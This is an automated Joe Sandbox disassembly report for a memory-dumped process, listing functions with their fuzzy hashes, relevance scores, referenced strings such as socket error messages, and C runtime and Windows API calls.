*, xrefs: 00DD8BF4
Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: cff2de45583477f941e7c5f32d0b87063c76c5364e7059f2f98b43f762061459
Instruction ID: 714c5d46f5a5bfe757306205c0a7baca107e2446048c417c83f1fbdbe67318bf
Opcode Fuzzy Hash: cff2de45583477f941e7c5f32d0b87063c76c5364e7059f2f98b43f762061459
Instruction Fuzzy Hash: A561D071600700DFE7269E28D841B6BB3E5EF41314F08492AE99987392EB71FD54AB72

Function 00DD7A5E Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

*, xrefs: 00DD8BF4
Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: d2299bb58fccf76573c195f5ec120c6444827a6544b523163a3b8dfcfecbdf60
Instruction ID: 82a65d38b3d3a37aa629775f32a8a84767628fd7b9b9cddae070c946c6b8bdd3
Opcode Fuzzy Hash: d2299bb58fccf76573c195f5ec120c6444827a6544b523163a3b8dfcfecbdf60
Instruction Fuzzy Hash: 2861BF75600700DFE7269E28D841B6BB3E4EF41314F08482AE999873A1EB71ED54EB72

Function 00E16C00 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

isupper.MSVCRT ref: 00E16CD6

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: isupper
String ID:
API String ID: 2794029478-0
Opcode ID: f401bc647e3d46971254a44f45f7aa01f6c59d7d4f1d0888814c6e2db80b7aa7
Instruction ID: 97849323738df52692279fffa851cb143bab2966b820721341fe3b81ae262e24
Opcode Fuzzy Hash: f401bc647e3d46971254a44f45f7aa01f6c59d7d4f1d0888814c6e2db80b7aa7
Instruction Fuzzy Hash: 0051C275B083518BC710FB24A8805ABB7E5EF96348F14A928ECD667241E731DD88C792

Function 00DD7959 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: 5c3093b1ecdd1f1af181a370e69357bf7872add61a82108f178f8a2a393212b3
Instruction ID: a310123f09a40387b060aa208f6f86cf60c87d00cb814801bab21c358ec3a425
Opcode Fuzzy Hash: 5c3093b1ecdd1f1af181a370e69357bf7872add61a82108f178f8a2a393212b3
Instruction Fuzzy Hash: EB71AE756043009FD725DF18D881B6BB3E5EF45304F08482EE99A8B3A2EB71EC449B72

Function 00DD6370 Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00DD645F

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: 75ad7bca08dfaa70a1575c80686a92a0e69362e6b763719e9761e6cb90c3ae60
Instruction ID: c71cd49fe38e3b129fd093fc60012a968c52c5e5507d4fc94baca9c3b2551a6d
Opcode Fuzzy Hash: 75ad7bca08dfaa70a1575c80686a92a0e69362e6b763719e9761e6cb90c3ae60
Instruction Fuzzy Hash: 2B6181B0700602AFD7288F24D855BA6F7A8FF40704F18862AE81997781D775F898CBF1

Function 00DD785D Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: 893bff8f2d3c3c1591c9f3c0730d9c0ca3847a76301b8afaa8477e8b95bebde5
Instruction ID: b7ee67519ba224d678485f4460133c589d9ec5d66f203acde7003fca473bfa67
Opcode Fuzzy Hash: 893bff8f2d3c3c1591c9f3c0730d9c0ca3847a76301b8afaa8477e8b95bebde5
Instruction Fuzzy Hash: 0161AE71604700DFE7259E28D841B6BB3E5FF41304F18882AE99A87391EB71ED54AB72

Function 00DD7641 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00DD8AD1

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: db046fb8eab978ca6cdcd528afe1ce5bd69d3bc5b3dfdbb5d3e1b6d804ce8d65
Instruction ID: 6a3f6e0dd23ebe4f489220e81aa4c2bd8ac4e841cf64f9a85c1b88489efe7e96
Opcode Fuzzy Hash: db046fb8eab978ca6cdcd528afe1ce5bd69d3bc5b3dfdbb5d3e1b6d804ce8d65
Instruction Fuzzy Hash: F451DF75604700DFD3259F28D842B6BB3E4FF41314F08482AE99A87392EB71ED54AB72

Function 00DEDAD0 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Shuffling %i addresses, xrefs: 00DEDB09

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: Shuffling %i addresses
API String ID: 0-3589116693
Opcode ID: 945400c2a0a54e7c0d659b9cc6ec65275bf14321509409032fc0e94ef7859dac
Instruction ID: a66794e924edca7068ea7584d42a962abbcaa85f112368be9cdfd321591e4c8f
Opcode Fuzzy Hash: 945400c2a0a54e7c0d659b9cc6ec65275bf14321509409032fc0e94ef7859dac
Instruction Fuzzy Hash: 8E31C575A042408FD310EF29D94492BB7F6FF89304F194428E989DB301EB35ED11CBA6

Function 00E15360 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

WARNING: Using weak random seed, xrefs: 00E153CB

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: WARNING: Using weak random seed
API String ID: 0-2797872110
Opcode ID: 2382cf5e28d3ae6c6ec0ed87dc447c3dc2c0de31877d23644ad29851dcfbe97b
Instruction ID: c940dee325de14b9f4126d522cbc46f2e198a546e6819e87550df5067a0d7eb8
Opcode Fuzzy Hash: 2382cf5e28d3ae6c6ec0ed87dc447c3dc2c0de31877d23644ad29851dcfbe97b
Instruction Fuzzy Hash: D52149B3A18341DFD3109E249D8067AF7E9EBD1318F14553DE6A9E7248D330DC848BA2

Function 00E2F270 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9510e5371856a57da19edf6cab7953d95cf420efcc6c5383e748b0cf7e06187
Instruction ID: 4e85d51f1f42a18dc0e3ca82a72408853f472d2745a23efe0ece627bf6e8636e
Opcode Fuzzy Hash: f9510e5371856a57da19edf6cab7953d95cf420efcc6c5383e748b0cf7e06187
Instruction Fuzzy Hash: 0251F071904314ABD710DF24AD85B2BBAF8AF4570CF086538F888E7252E732DC14CB62

Function 00E2ADE0 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d19dc659d7c84ea554b2e02870de51123d62ce3b223259f2aec4311c974017e6
Instruction ID: e4c53f4b1d1449bac50b32eb1868ae320bfacfac6fdfde85ccb798669a0e2f96
Opcode Fuzzy Hash: d19dc659d7c84ea554b2e02870de51123d62ce3b223259f2aec4311c974017e6
Instruction Fuzzy Hash: 1E31A5E690071467D6207EA07CCAF6B76AC9F51709F08243CF95A33203EB65B919C6B3

Function 00E2E8A0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 107e571ae753d91e39071d2cd67e663187be647b39b7bd827375d5ac6cbdb273
Instruction ID: 7c97489cdea3d3907bb61fc50c6407284e240772a3c89222b58a28a4d1fb1ee3
Opcode Fuzzy Hash: 107e571ae753d91e39071d2cd67e663187be647b39b7bd827375d5ac6cbdb273
Instruction Fuzzy Hash: DE41A1B06087219FC718DF14E980AABB7E4FB90319F18AD6DE489BB351D330AD49CB51

Function 00DD7360 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: ae435c540959eddb72ecfd697161aaabb4a8d1fbf00b198255eca3aab58b2ab7
Instruction ID: 3f240ea101955a287bbf3336925d9473d9974390ece7349cb138b4098e40fdb8
Opcode Fuzzy Hash: ae435c540959eddb72ecfd697161aaabb4a8d1fbf00b198255eca3aab58b2ab7
Instruction Fuzzy Hash: 42418C76A08305AFDB119F54C840B5BBBE5FF84314F0989AEE9586B312E771EC50CBA1

Function 00E03C90 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facf62b0738197f8f2bad35efd3e709c04c41603ade51e048969b0a60cb51b2d
Instruction ID: b0e71ff2794732c66562c081bac1a8df8a7f23a0a6dc92f4f76078bcbc06400b
Opcode Fuzzy Hash: facf62b0738197f8f2bad35efd3e709c04c41603ade51e048969b0a60cb51b2d
Instruction Fuzzy Hash: 20F08132A086159FEB118F94C8C0927F76CFF49318B09152AEE54B7205D332FD64CBA0

Function 00DF58A6 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16a2f234ebe95c4a3ea991dcd69462c55141dd7f03a0f939dc2cdabb14cad563
Instruction ID: 63a53a8c35c6b99ecc6c30538f4a7db561ca2156324df396d54639b239c0be3a
Opcode Fuzzy Hash: 16a2f234ebe95c4a3ea991dcd69462c55141dd7f03a0f939dc2cdabb14cad563
Instruction Fuzzy Hash: A4D0A7327015084F8300DD24A44482AF3F1FA82235F551815D26DD7100C361D0518654

Function 00E3C0F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59162168693bff71874ab2cbc88fcb23bd6e88951ecf10041ad922ca9b325d38
Instruction ID: d8e7bc218ce68ecc1c8b26d9529697ce318cb32d080e3d3d78feebf928b12334
Opcode Fuzzy Hash: 59162168693bff71874ab2cbc88fcb23bd6e88951ecf10041ad922ca9b325d38
Instruction Fuzzy Hash: BAD0C9356021028BDF08CE28C0A493AB7B0AF87708B74A49C9801EB201C622EC02DA04

Function 00E35060 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c70a2e0a0713215ed4ccd97faf3e13fa8c3a173bab4c489237c9a2b516f07991
Instruction ID: e28d136afb02305a4994583ec40fbaaf79bc0ac801f8b2fd8364f13c8f5b031a
Opcode Fuzzy Hash: c70a2e0a0713215ed4ccd97faf3e13fa8c3a173bab4c489237c9a2b516f07991
Instruction Fuzzy Hash: 7AD0122460D7914AC7054F318264932FFF16EA7749F88A1CDE0C4B7362C167D801DFA5

Function 00DD9F70 Relevance: 154.3, APIs: 26, Strings: 62, Instructions: 311stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00DD48B2,?,00000000), ref: 00DD9F7F
_errno.MSVCRT ref: 00DD9F89
strerror.MSVCRT ref: 00DD9FAC
strncpy.MSVCRT ref: 00DD9FBB
GetLastError.KERNEL32 ref: 00DD9FC8
_errno.MSVCRT ref: 00DD9FD2
strncpy.MSVCRT ref: 00DDA1F6
_errno.MSVCRT ref: 00DDA205
_errno.MSVCRT ref: 00DDA212
GetLastError.KERNEL32 ref: 00DDA21A
SetLastError.KERNEL32(?), ref: 00DDA229
strrchr.MSVCRT ref: 00DDA239
strrchr.MSVCRT ref: 00DDA254
_errno.MSVCRT ref: 00DDA26B
_errno.MSVCRT ref: 00DDA275
GetLastError.KERNEL32 ref: 00DDA27D
SetLastError.KERNEL32(?), ref: 00DDA28C

Strings

Host down, xrefs: 00DDA188
Unknown error %d (%#x), xrefs: 00DDA03C
SEC_E_TARGET_UNKNOWN, xrefs: 00DDA3C0
Socket is already connected, xrefs: 00DDA144
Name too long, xrefs: 00DDA181
Remote error, xrefs: 00DDA1B9
SEC_E_CANNOT_INSTALL, xrefs: 00DDA3E8
Descriptor is not a socket, xrefs: 00DDA090
Bad quota, xrefs: 00DDA1AB
